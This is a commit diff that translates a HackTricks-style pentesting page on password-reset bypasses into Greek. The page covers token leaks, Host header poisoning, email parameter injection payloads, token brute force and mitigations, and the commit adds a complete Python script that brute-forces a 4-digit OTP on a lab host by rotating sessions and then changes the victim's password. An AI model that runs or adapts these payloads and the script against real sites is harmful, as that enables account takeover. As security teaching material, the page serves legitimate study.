Translated ['src/pentesting-web/reset-password.md'] to el

This commit is contained in:
Translator 2025-04-13 14:43:16 +00:00
parent 5ee8cebf33
commit bfbc6b38c7

View File

@ -1,31 +1,31 @@
# Επαναφορά/Ξεχασμένος Κωδικός Πρόσβασης
# Επαναφορά/Ξεχασμένος Κωδικός Πρόσβασης Bypass
{{#include ../banners/hacktricks-training.md}}
## **Διαρροή Διακριτικού Επαναφοράς Κωδικού μέσω Referrer**
## **Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer**
- Ο HTTP referer header μπορεί να διαρρεύσει το διακριτικό επαναφοράς κωδικού αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
- Ο HTTP referer header μπορεί να διαρρεύσει το token επαναφοράς κωδικού αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
- **Επίπτωση**: Πιθανή κατάληψη λογαριασμού μέσω επιθέσεων Cross-Site Request Forgery (CSRF).
- **Εκμετάλλευση**: Για να ελέγξετε αν ένα διακριτικό επαναφοράς κωδικού διαρρέει στον referer header, **ζητήστε επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε έναν ιστότοπο τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει το διακριτικό επαναφοράς κωδικού**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
- **Εκμετάλλευση**: Για να ελέγξετε αν ένα token επαναφοράς κωδικού διαρρέει στον referer header, **ζητήστε μια επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε έναν ιστότοπο τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει το token επαναφοράς κωδικού**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
- **Αναφορές**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Άρθρο Διαρροής Διακριτικού Επαναφοράς Κωδικού](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- [Άρθρο Διαρροής Token Επαναφοράς Κωδικού](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Δηλητηρίαση Επαναφοράς Κωδικού**
- Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο.
- **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα διακριτικά επαναφοράς στους επιτιθέμενους.
- **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα tokens επαναφοράς στους επιτιθέμενους.
- **Βήματα Μείωσης**:
- Επικυρώστε τον Host header έναντι μιας λίστας επιτρεπόμενων τομέων.
- Χρησιμοποιήστε ασφαλείς, μεθόδους server-side για να δημιουργήσετε απόλυτες διευθύνσεις URL.
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργήσετε απόλυτες διευθύνσεις URL.
- **Διόρθωση**: Χρησιμοποιήστε `$_SERVER['SERVER_NAME']` για να κατασκευάσετε διευθύνσεις URL επαναφοράς κωδικού αντί για `$_SERVER['HTTP_HOST']`.
- **Αναφορές**:
- [Άρθρο Acunetix για τη Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- [Άρθρο Acunetix για Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Επαναφορά Κωδικού με Χειρισμό Παραμέτρου Email**
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να αποσπάσουν τον σύνδεσμο επαναφοράς.
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να εκτρέψουν τον σύνδεσμο επαναφοράς.
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
```php
@ -69,8 +69,8 @@ POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Βήματα Μείωσης**:
- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από τον server.
- **Βήματα Ελάφρυνσης**:
- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από την πλευρά του διακομιστή.
- Χρήση προετοιμασμένων δηλώσεων ή παραμετροποιημένων ερωτημάτων για την αποφυγή επιθέσεων injection.
- **Αναφορές**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
@ -87,7 +87,7 @@ POST /api/changepass
```
- **Βήματα Μείωσης**:
- Διασφαλίστε αυστηρή επικύρωση παραμέτρων και ελέγχους ταυτοποίησης.
- Εφαρμόστε ισχυρή καταγραφή και παρακολούθηση για την ανίχνευση και αντίδραση σε ύποπτες δραστηριότητες.
- Εφαρμόστε ισχυρή καταγραφή και παρακολούθηση για να ανιχνεύσετε και να αντιδράσετε σε ύποπτες δραστηριότητες.
- **Αναφορά**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
@ -100,9 +100,9 @@ POST /api/changepass
- **Αναφορές**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Ανακαλύψτε Πώς Δημιουργείται το Token Επαναφοράς Κωδικού Πρόσβασης**
## **Ανακαλύψτε Πώς Δημιουργείται το Token Επαναφοράς Κωδικού**
- Η κατανόηση του προτύπου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή την βίαιη επίθεση σε tokens. Ορισμένες επιλογές:
- Η κατανόηση του προτύπου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή την βίαιη δοκιμή tokens. Ορισμένες επιλογές:
- Βασισμένο σε Χρονική Σημείωση
- Βασισμένο στο UserID
- Βασισμένο στο email του Χρήστη
@ -114,39 +114,39 @@ POST /api/changepass
- Διασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα.
- **Εργαλεία**: Χρησιμοποιήστε το Burp Sequencer για να αναλύσετε την τυχαιότητα των tokens.
## **Μπορεί να Μαντευτεί UUID**
## **Μαντεύσιμο UUID**
- Εάν τα UUIDs (έκδοση 1) είναι μαντεύσιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα βρουν με βίαιη επίθεση για να δημιουργήσουν έγκυρα tokens επαναφοράς. Ελέγξτε:
- Εάν τα UUIDs (έκδοση 1) είναι μαντεύσιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα δοκιμάσουν βίαια για να δημιουργήσουν έγκυρα tokens επαναφοράς. Ελέγξτε:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Βήματα Μείωσης**:
- Χρησιμοποιήστε την έκδοση 4 του GUID για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις.
- **Εργαλεία**: Χρησιμοποιήστε το [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs.
- Χρησιμοποιήστε GUID έκδοσης 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις.
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs.
## **Manipulation Response: Αντικατάσταση Κακής Απόκρισης με Καλή**
- Χειραγώγηση των HTTP αποκρίσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
- Χειραγώγηση των HTTP απαντήσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
- **Βήματα Μείωσης**:
- Εφαρμόστε ελέγχους από την πλευρά του διακομιστή για να διασφαλίσετε την ακεραιότητα της απόκρισης.
- Χρησιμοποιήστε ασφαλείς επικοινωνιακούς διαύλους όπως το HTTPS για να αποτρέψετε επιθέσεις man-in-the-middle.
- **Αναφορά**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Χρήση Εξαντλημένου Token**
## **Χρήση Εξαφανισμένου Token**
- Δοκιμή αν τα εξαντλημένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού πρόσβασης.
- Δοκιμή αν τα ληγμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού.
- **Βήματα Μείωσης**:
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token από την πλευρά του διακομιστή.
## **Brute Force Token Επαναφοράς Κωδικού Πρόσβασης**
## **Brute Force Token Επαναφοράς Κωδικού**
- Προσπάθεια βίαιης επίθεσης στο token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακαμφθούν οι περιορισμοί ρυθμού με βάση την IP.
- Προσπάθεια βίαιης δοκιμής του token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακαμφθούν οι περιορισμοί ρυθμού με βάση την IP.
- **Βήματα Μείωσης**:
- Εφαρμόστε ισχυρούς μηχανισμούς περιορισμού ρυθμού και κλειδώματος λογαριασμού.
- Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις βίαιης δύναμης.
- Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις βίαιης δοκιμής.
## **Δοκιμάστε να Χρησιμοποιήσετε το Token σας**
@ -154,18 +154,82 @@ uuid-insecurities.md
- **Βήματα Μείωσης**:
- Διασφαλίστε ότι τα tokens είναι δεσμευμένα στη συνεδρία χρήστη ή σε άλλες συγκεκριμένες ιδιότητες χρήστη.
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού Πρόσβασης**
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού**
- Διασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ο χρήστης αποσυνδέεται ή επαναφέρει τον κωδικό πρόσβασης.
- Διασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ο χρήστης αποσυνδέεται ή επαναφέρει τον κωδικό του.
- **Βήματα Μείωσης**:
- Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού πρόσβασης.
- Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού.
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού Πρόσβασης**
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού**
- Τα tokens επαναφοράς θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
- **Βήματα Μείωσης**:
- Ορίστε έναν λογικό χρόνο λήξης για τα tokens επαναφοράς και επιβάλετέ τον αυστηρά από την πλευρά του διακομιστή.
## **Παράκαμψη περιορισμού ρυθμού OTP αλλάζοντας τη συνεδρία σας**
- Εάν η ιστοσελίδα χρησιμοποιεί τη συνεδρία χρήστη για να παρακολουθεί τις λανθασμένες προσπάθειες OTP και το OTP ήταν αδύναμο (<= 4 ψηφία), τότε μπορούμε να δοκιμάσουμε βίαια το OTP.
- **εκμετάλλευση**:
- απλώς ζητήστε ένα νέο token συνεδρίας μετά την αποκλεισμό από τον διακομιστή.
- **Παράδειγμα** κώδικα που εκμεταλλεύεται αυτό το σφάλμα μαντεύοντας τυχαία το OTP (όταν αλλάξετε τη συνεδρία, το OTP θα αλλάξει επίσης, και έτσι δεν θα μπορέσουμε να το δοκιμάσουμε διαδοχικά!):
``` python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
```
## Αναφορές
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)